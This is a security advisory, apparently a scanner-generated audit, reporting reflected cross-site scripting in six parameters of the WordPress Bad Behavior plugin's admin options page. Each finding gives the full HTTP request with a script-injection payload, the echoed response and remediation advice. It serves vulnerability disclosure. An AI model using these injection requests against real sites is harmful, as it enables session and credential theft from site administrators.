Lucene search
K

WordPress Bad Behavior Cross Site Scripting

🗓️ 11 May 2012 00:00:00Reported by SiNA RabbaniType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

WordPress Bad Behavior Cross Site Scripting issu

Code
`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Wordpress Security audit  
bad-behavior plugin  
  
  
1. Cross-site scripting (reflected)  
  
1.1. http://127.0.0.1/wp-admin/options-general.php  
[%3Cscript%3Ealert(1)%3C/script%3E parameter]  
1.2. http://127.0.0.1/wp-admin/options-general.php [httpbl_key parameter]  
1.3. http://127.0.0.1/wp-admin/options-general.php [httpbl_maxage  
parameter]  
1.4. http://127.0.0.1/wp-admin/options-general.php [httpbl_threat  
parameter]  
1.5. http://127.0.0.1/wp-admin/options-general.php  
[reverse_proxy_addresses parameter]  
1.6. http://127.0.0.1/wp-admin/options-general.php  
[reverse_proxy_header parameter]  
  
Issue background  
Reflected cross-site scripting vulnerabilities arise when data is  
copied from a request and echoed into the application's immediate  
response in an unsafe way. An attacker can use the vulnerability to  
construct a request which, if issued by another application user, will  
cause JavaScript code supplied by the attacker to execute within the  
user's browser in the context of that user's session with the application.  
  
The attacker-supplied code can perform a wide variety of actions, such  
as stealing the victim's session token or login credentials,  
performing arbitrary actions on the victim's behalf, and logging their  
keystrokes.  
  
Users can be induced to issue the attacker's crafted request in  
various ways. For example, the attacker can send a victim a link  
containing a malicious URL in an email or instant message. They can  
submit the link to popular web sites that allow content authoring, for  
example in blog comments. And they can create an innocuous looking web  
site which causes anyone viewing it to make arbitrary cross-domain  
requests to the vulnerable application (using either the GET or the  
POST method).  
  
The security impact of cross-site scripting vulnerabilities is  
dependent upon the nature of the vulnerable application, the kinds of  
data and functionality which it contains, and the other applications  
which belong to the same domain and organisation. If the application  
is used only to display non-sensitive public content, with no  
authentication or access control functionality, then a cross-site  
scripting flaw may be considered low risk. However, if the same  
application resides on a domain which can access cookies for other  
more security-critical applications, then the vulnerability could be  
used to attack those other applications, and so may be considered high  
risk. Similarly, if the organisation which owns the application is a  
likely target for phishing attacks, then the vulnerability could be  
leveraged to lend credibility to such attacks, by injecting Trojan  
functionality into the vulnerable application, and exploiting users'  
trust in the organisation in order to capture credentials for other  
applications which it owns. In many kinds of application, such as  
those providing online banking functionality, cross-site scripting  
should always be considered high risk.  
Issue remediation  
In most situations where user-controllable data is copied into  
application responses, cross-site scripting attacks can be prevented  
using two layers of defences:  
  
Input should be validated as strictly as possible on arrival,  
given the kind of content which it is expected to contain. For  
example, personal names should consist of alphabetical and a small  
range of typographical characters, and be relatively short; a year of  
birth should consist of exactly four numerals; email addresses should  
match a well-defined regular expression. Input which fails the  
validation should be rejected, not sanitised.  
User input should be HTML-encoded at any point where it is copied  
into application responses. All HTML metacharacters, including < > " '  
and =, should be replaced with the corresponding HTML entities (<  
> etc).  
  
In cases where the application's functionality allows users to author  
content using a restricted subset of HTML tags and attributes (for  
example, blog comments which allow limited formatting and linking), it  
is necessary to parse the supplied HTML to validate that it does not  
use any dangerous syntax; this is a non-trivial task.  
  
  
  
Summary  
  
Severity: High  
Confidence: Certain  
Host: http://127.0.0.1  
Path(s):   
/wp-admin/options-general.php [%3Cscript%3Ealert(1)%3C/script%3E  
parameter]  
/wp-admin/options-general.php [httpbl_key parameter]  
/wp-admin/options-general.php [httpbl_maxage parameter]  
/wp-admin/options-general.php [httpbl_threat parameter]  
/wp-admin/options-general.php [reverse_proxy_addresses parameter]  
/wp-admin/options-general.php [reverse_proxy_header parameter]  
  
Issue detail  
  
Reflected cross-site scripting vulnerabilities arise when data is  
copied from a request and echoed into the application's immediate  
response in an unsafe way. An attacker can use the vulnerability to  
construct a request which, if issued by another application user, will  
cause JavaScript code supplied by the attacker to execute within the  
user's browser in the context of that user's session with the application.  
  
The attacker-supplied code can perform a wide variety of actions, such  
as stealing the victim's session token or login credentials,  
performing arbitrary actions on the victim's behalf, and logging their  
keystrokes.  
  
Users can be induced to issue the attacker's crafted request in  
various ways. For example, the attacker can send a victim a link  
containing a malicious URL in an email or instant message. They can  
submit the link to popular web sites that allow content authoring, for  
example in blog comments. And they can create an innocuous looking web  
site which causes anyone viewing it to make arbitrary cross-domain  
requests to the vulnerable application (using either the GET or the  
POST method).  
  
The security impact of cross-site scripting vulnerabilities is  
dependent upon the nature of the vulnerable application, the kinds of  
data and functionality which it contains, and the other applications  
which belong to the same domain and organisation. If the application  
is used only to display non-sensitive public content, with no  
authentication or access control functionality, then a cross-site  
scripting flaw may be considered low risk. However, if the same  
application resides on a domain which can access cookies for other  
more security-critical applications, then the vulnerability could be  
used to attack those other applications, and so may be considered high  
risk. Similarly, if the organisation which owns the application is a  
likely target for phishing attacks, then the vulnerability could be  
leveraged to lend credibility to such attacks, by injecting Trojan  
functionality into the vulnerable application, and exploiting users'  
trust in the organisation in order to capture credentials for other  
applications which it owns. In many kinds of application, such as  
those providing online banking functionality, cross-site scripting  
should always be considered high risk.  
Issue remediation  
In most situations where user-controllable data is copied into  
application responses, cross-site scripting attacks can be prevented  
using two layers of defences:  
  
Input should be validated as strictly as possible on arrival, given  
the kind of content which it is expected to contain. For example,  
personal names should consist of alphabetical and a small range of  
typographical characters, and be relatively short; a year of birth  
should consist of exactly four numerals; email addresses should match  
a well-defined regular expression. Input which fails the validation  
should be rejected, not sanitised. User input should be HTML-encoded  
at any point where it is copied into application responses. All HTML  
metacharacters, including < > " ' and =, should be replaced with the  
corresponding HTML entities (< > etc).  
  
In cases where the application's functionality allows users to author  
content using a restricted subset of HTML tags and attributes (for  
example, blog comments which allow limited formatting and linking), it  
is necessary to parse the supplied HTML to validate that it does not  
use any dangerous syntax; this is a non-trivial task.  
  
1.1. http://127.0.0.1/wp-admin/options-general.php  
[%3Cscript%3Ealert(1)%3C/script%3E parameter]  
  
Summary  
Severity: High  
Confidence: Certain  
Host: http://127.0.0.1  
Path: /wp-admin/options-general.php  
  
Issue detail  
  
The value of the %3Cscript%3Ealert(1)%3C/script%3E request parameter  
is copied into the value of an HTML tag attribute which is  
encapsulated in double quotation marks. The payload  
64076"><script>alert(1)</script>f43455fe716 was submitted in the  
%3Cscript%3Ealert(1)%3C/script%3E parameter. This input was echoed as  
64076\"><script>alert(1)</script>f43455fe716 in the application's  
response.  
  
This proof-of-concept attack demonstrates that it is possible to  
inject arbitrary JavaScript into the application's response.  
Request  
GET  
/wp-admin/options-general.php?page=bb2_options&%3Cscript%3Ealert(1)%3C/script%3E64076"><script>alert(1)</script>f43455fe716  
HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)  
Gecko/20100101 Firefox/11.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Cookie:  
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;  
bb2_screener_=1334005723+127.0.0.1;  
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;  
wordpress_test_cookie=WP+Cookie+check;  
wp-settings-1=widgets_access%3Doff%26uploader%3D127;  
wp-settings-time-1=1334005698;  
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a  
  
Response  
HTTP/1.1 200 OK  
Date: Mon, 09 Apr 2012 21:09:48 GMT  
Server: Apache/2.2.20 (Ubuntu)  
X-Powered-By: PHP/5.3.6-13ubuntu3.6  
Set-Cookie: bb2_screener_=1334005788+127.0.0.1; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Last-Modified: Mon, 09 Apr 2012 21:09:48 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
X-Frame-Options: SAMEORIGIN  
Vary: Accept-Encoding  
Content-Length: 27011  
Content-Type: text/html; charset=UTF-8  
  
<!DOCTYPE html>  
<!--[if IE 8]>  
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"  
lang="en-US">  
<![endif]-->  
<!--[if !(IE 8) ]><!-->  
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr  
...[SNIP]...  
<form method="post"  
action="/wp-admin/options-general.php?page=bb2_options&%3Cscript%3Ealert(1)%3C/script%3E64076\"><script>alert(1)</script>f43455fe716">  
...[SNIP]...  
  
  
1.2. http://127.0.0.1/wp-admin/options-general.php [httpbl_key parameter]  
  
Summary  
Severity: High  
Confidence: Certain  
Host: http://127.0.0.1  
Path: /wp-admin/options-general.php  
  
Issue detail  
  
The value of the httpbl_key request parameter is copied into the value  
of an HTML tag attribute which is encapsulated in double quotation  
marks. The payload cd7f3"><script>alert(1)</script>2953f971e04275ebc  
was submitted in the httpbl_key parameter. This input was echoed as  
cd7f3\"><script>alert(1)</script>2953f971e04275ebc in the  
application's response.  
  
This proof-of-concept attack demonstrates that it is possible to  
inject arbitrary JavaScript into the application's response.  
  
The original request used the POST method, however it was possible to  
convert the request to use the GET method, to enable easier  
demonstration and delivery of the attack.  
Request  
GET  
/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=cd7f3"><script>alert(1)</script>2953f971e04275ebc&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB  
HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)  
Gecko/20100101 Firefox/11.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options  
Cookie:  
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;  
bb2_screener_=1334005698+127.0.0.1;  
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;  
wordpress_test_cookie=WP+Cookie+check;  
wp-settings-1=widgets_access%3Doff%26uploader%3D127;  
wp-settings-time-1=1334005698;  
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a  
  
Response  
HTTP/1.1 200 OK  
Date: Mon, 09 Apr 2012 21:10:15 GMT  
Server: Apache/2.2.20 (Ubuntu)  
X-Powered-By: PHP/5.3.6-13ubuntu3.6  
Set-Cookie: bb2_screener_=1334005815+127.0.0.1; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Last-Modified: Mon, 09 Apr 2012 21:10:16 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
X-Frame-Options: SAMEORIGIN  
Vary: Accept-Encoding  
Content-Length: 27211  
Content-Type: text/html; charset=UTF-8  
  
<!DOCTYPE html>  
<!--[if IE 8]>  
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"  
lang="en-US">  
<![endif]-->  
<!--[if !(IE 8) ]><!-->  
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr  
...[SNIP]...  
<form method="post"  
action="/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=cd7f3\"><script>alert(1)</script>2953f971e04275ebc&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB">  
...[SNIP]...  
  
  
1.3. http://127.0.0.1/wp-admin/options-general.php [httpbl_maxage  
parameter]  
  
Summary  
Severity: High  
Confidence: Certain  
Host: http://127.0.0.1  
Path: /wp-admin/options-general.php  
  
Issue detail  
  
The value of the httpbl_maxage request parameter is copied into the  
value of an HTML tag attribute which is encapsulated in double  
quotation marks. The payload  
7cd38"><script>alert(1)</script>e4c0c1d8579ca03c8 was submitted in the  
httpbl_maxage parameter. This input was echoed as  
7cd38\"><script>alert(1)</script>e4c0c1d8579ca03c8 in the  
application's response.  
  
This proof-of-concept attack demonstrates that it is possible to  
inject arbitrary JavaScript into the application's response.  
  
The original request used the POST method, however it was possible to  
convert the request to use the GET method, to enable easier  
demonstration and delivery of the attack.  
Request  
GET  
/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=307cd38"><script>alert(1)</script>e4c0c1d8579ca03c8&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB  
HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)  
Gecko/20100101 Firefox/11.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options  
Cookie:  
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;  
bb2_screener_=1334005698+127.0.0.1;  
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;  
wordpress_test_cookie=WP+Cookie+check;  
wp-settings-1=widgets_access%3Doff%26uploader%3D127;  
wp-settings-time-1=1334005698;  
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a  
  
Response  
HTTP/1.1 200 OK  
Date: Mon, 09 Apr 2012 21:11:41 GMT  
Server: Apache/2.2.20 (Ubuntu)  
X-Powered-By: PHP/5.3.6-13ubuntu3.6  
Set-Cookie: bb2_screener_=1334005901+127.0.0.1; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Last-Modified: Mon, 09 Apr 2012 21:11:41 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
X-Frame-Options: SAMEORIGIN  
Vary: Accept-Encoding  
Content-Length: 27196  
Content-Type: text/html; charset=UTF-8  
  
<!DOCTYPE html>  
<!--[if IE 8]>  
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"  
lang="en-US">  
<![endif]-->  
<!--[if !(IE 8) ]><!-->  
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr  
...[SNIP]...  
<form method="post"  
action="/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=307cd38\"><script>alert(1)</script>e4c0c1d8579ca03c8&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB">  
...[SNIP]...  
  
1.4. http://127.0.0.1/wp-admin/options-general.php [httpbl_threat  
parameter]  
  
Summary  
Severity: High  
Confidence: Certain  
Host: http://127.0.0.1  
Path: /wp-admin/options-general.php  
  
Issue detail  
  
The value of the httpbl_threat request parameter is copied into the  
value of an HTML tag attribute which is encapsulated in double  
quotation marks. The payload  
e1a44"><script>alert(1)</script>c5956c0cf3d6caac4 was submitted in the  
httpbl_threat parameter. This input was echoed as  
e1a44\"><script>alert(1)</script>c5956c0cf3d6caac4 in the  
application's response.  
  
This proof-of-concept attack demonstrates that it is possible to  
inject arbitrary JavaScript into the application's response.  
  
The original request used the POST method, however it was possible to  
convert the request to use the GET method, to enable easier  
demonstration and delivery of the attack.  
Request  
GET  
/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25e1a44"><script>alert(1)</script>c5956c0cf3d6caac4&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB  
HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)  
Gecko/20100101 Firefox/11.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options  
Cookie:  
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;  
bb2_screener_=1334005698+127.0.0.1;  
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;  
wordpress_test_cookie=WP+Cookie+check;  
wp-settings-1=widgets_access%3Doff%26uploader%3D127;  
wp-settings-time-1=1334005698;  
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a  
  
Response  
HTTP/1.1 200 OK  
Date: Mon, 09 Apr 2012 21:10:49 GMT  
Server: Apache/2.2.20 (Ubuntu)  
X-Powered-By: PHP/5.3.6-13ubuntu3.6  
Set-Cookie: bb2_screener_=1334005849+127.0.0.1; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Last-Modified: Mon, 09 Apr 2012 21:10:49 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
X-Frame-Options: SAMEORIGIN  
Vary: Accept-Encoding  
Content-Length: 27189  
Content-Type: text/html; charset=UTF-8  
  
<!DOCTYPE html>  
<!--[if IE 8]>  
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"  
lang="en-US">  
<![endif]-->  
<!--[if !(IE 8) ]><!-->  
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr  
...[SNIP]...  
<form method="post"  
action="/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25e1a44\"><script>alert(1)</script>c5956c0cf3d6caac4&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB">  
...[SNIP]...  
  
  
1.5. http://127.0.0.1/wp-admin/options-general.php  
[reverse_proxy_addresses parameter]  
  
Summary  
Severity: High  
Confidence: Certain  
Host: http://127.0.0.1  
Path: /wp-admin/options-general.php  
  
Issue detail  
The value of the reverse_proxy_addresses request parameter is copied  
into the HTML document as plain text between tags. The payload  
8db6c<script>alert(1)</script>c29bb04915a was submitted in the  
reverse_proxy_addresses parameter. This input was echoed unmodified in  
the application's response.  
  
This proof-of-concept attack demonstrates that it is possible to  
inject arbitrary JavaScript into the application's response.  
Request  
POST /wp-admin/options-general.php?page=bb2_options HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)  
Gecko/20100101 Firefox/11.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options  
Cookie:  
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;  
bb2_screener_=1334005698+127.0.0.1;  
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;  
wordpress_test_cookie=WP+Cookie+check;  
wp-settings-1=widgets_access%3Doff%26uploader%3D127;  
wp-settings-time-1=1334005698;  
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 170  
  
display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.18db6c<script>alert(1)</script>c29bb04915a&submit=Update+%C2%BB  
Response  
HTTP/1.1 200 OK  
Date: Mon, 09 Apr 2012 21:13:22 GMT  
Server: Apache/2.2.20 (Ubuntu)  
X-Powered-By: PHP/5.3.6-13ubuntu3.6  
Set-Cookie: bb2_screener_=1334006002+127.0.0.1; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Last-Modified: Mon, 09 Apr 2012 21:13:22 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
X-Frame-Options: SAMEORIGIN  
Vary: Accept-Encoding  
Content-Length: 26839  
Content-Type: text/html; charset=UTF-8  
  
<!DOCTYPE html>  
<!--[if IE 8]>  
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"  
lang="en-US">  
<![endif]-->  
<!--[if !(IE 8) ]><!-->  
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr  
...[SNIP]...  
<textarea cols="24" rows="6"  
name="reverse_proxy_addresses">127.0.0.18db6c<script>alert(1)</script>c29bb04915a</textarea>  
...[SNIP]...  
1.6. http://127.0.0.1/wp-admin/options-general.php  
[reverse_proxy_header parameter]  
Summary  
Severity: High  
Confidence: Certain  
Host: http://127.0.0.1  
Path: /wp-admin/options-general.php  
Issue detail  
The value of the reverse_proxy_header request parameter is copied into  
the value of an HTML tag attribute which is encapsulated in double  
quotation marks. The payload  
bedd2"><script>alert(1)</script>5af099f2be1ee80ab was submitted in the  
reverse_proxy_header parameter. This input was echoed as  
bedd2\"><script>alert(1)</script>5af099f2be1ee80ab in the  
application's response.  
  
This proof-of-concept attack demonstrates that it is possible to  
inject arbitrary JavaScript into the application's response.  
  
The original request used the POST method, however it was possible to  
convert the request to use the GET method, to enable easier  
demonstration and delivery of the attack.  
Request  
GET  
/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-Forbedd2"><script>alert(1)</script>5af099f2be1ee80ab&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB  
HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)  
Gecko/20100101 Firefox/11.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options  
Cookie:  
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;  
bb2_screener_=1334005698+127.0.0.1;  
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;  
wordpress_test_cookie=WP+Cookie+check;  
wp-settings-1=widgets_access%3Doff%26uploader%3D127;  
wp-settings-time-1=1334005698;  
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a  
  
Response  
HTTP/1.1 200 OK  
Date: Mon, 09 Apr 2012 21:12:31 GMT  
Server: Apache/2.2.20 (Ubuntu)  
X-Powered-By: PHP/5.3.6-13ubuntu3.6  
Set-Cookie: bb2_screener_=1334005951+127.0.0.1; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Last-Modified: Mon, 09 Apr 2012 21:12:32 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
X-Frame-Options: SAMEORIGIN  
Vary: Accept-Encoding  
Content-Length: 27176  
Content-Type: text/html; charset=UTF-8  
  
<!DOCTYPE html>  
<!--[if IE 8]>  
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"  
lang="en-US">  
<![endif]-->  
<!--[if !(IE 8) ]><!-->  
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr  
...[SNIP]...  
<form method="post"  
action="/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-Forbedd2\"><script>alert(1)</script>5af099f2be1ee80ab&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB">  
...[SNIP]...  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.11 (GNU/Linux)  
  
iQIcBAEBAgAGBQJPrDkJAAoJEJPBwXYLR9Vt9p4QALAmnz/GZGxWsU3U5Cbmj4sP  
GC7Y0iNbrPxFw8efi4nEixM86yl5ElzQGzHOSYqz7fB+ijqjQ8VL+6eWyCwIeCHH  
MuCxQrVj2FJQerPAlmz9prV54KuoTUubY8YLQDSnZTQN0XCNR1m4/WSdzn3ooKYI  
7OtKivZOV+85rDevgDAWj6VnPkMNOk0BxCHjJRH6ydHez8sNu6vT1FXFpRynV/oZ  
xMR2E/Z488DjYASyfgL3+lqXgj3T9rIa9d7C0sGaoaWIOuap/1Nop74cr8YQDTxV  
mft43gOO0eG/IQwAHJr4NMPjWWefvkCy5lvAxVGceB89DGN5/187U88OFEBCtFIb  
lrBfkq64UGEpDAbWm/iMAAtLrGe1vqeyPfWdsuIybx5wJZw6R0E2b5pgnaP1xesf  
IVn8UegzNQ8V32mPtj+hEjTeZ6aoJyJFoiJlXdmNBafYq7hycsylWDjl3xs7sNUa  
+s7RjQ8j7NwWCb37K+kJJ7nG3+KbytDYS5tmLd9LfT/FKfBMk46DC9SRPHm43yDq  
d8m5JLuVTG8hwMoCSv9Gpce8B29RACXa62Jqfh9hspNytirvIaDPnGTRHqbeDQ/r  
Bd6cmF+LJCN/ycNl6DmGLAxFggdc3ni4vYbS5MC8TUfSsclNtUidJN7nmUHTWNGu  
7LOqAsukDh5BD0dXv4dn  
=KENE  
-----END PGP SIGNATURE-----  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation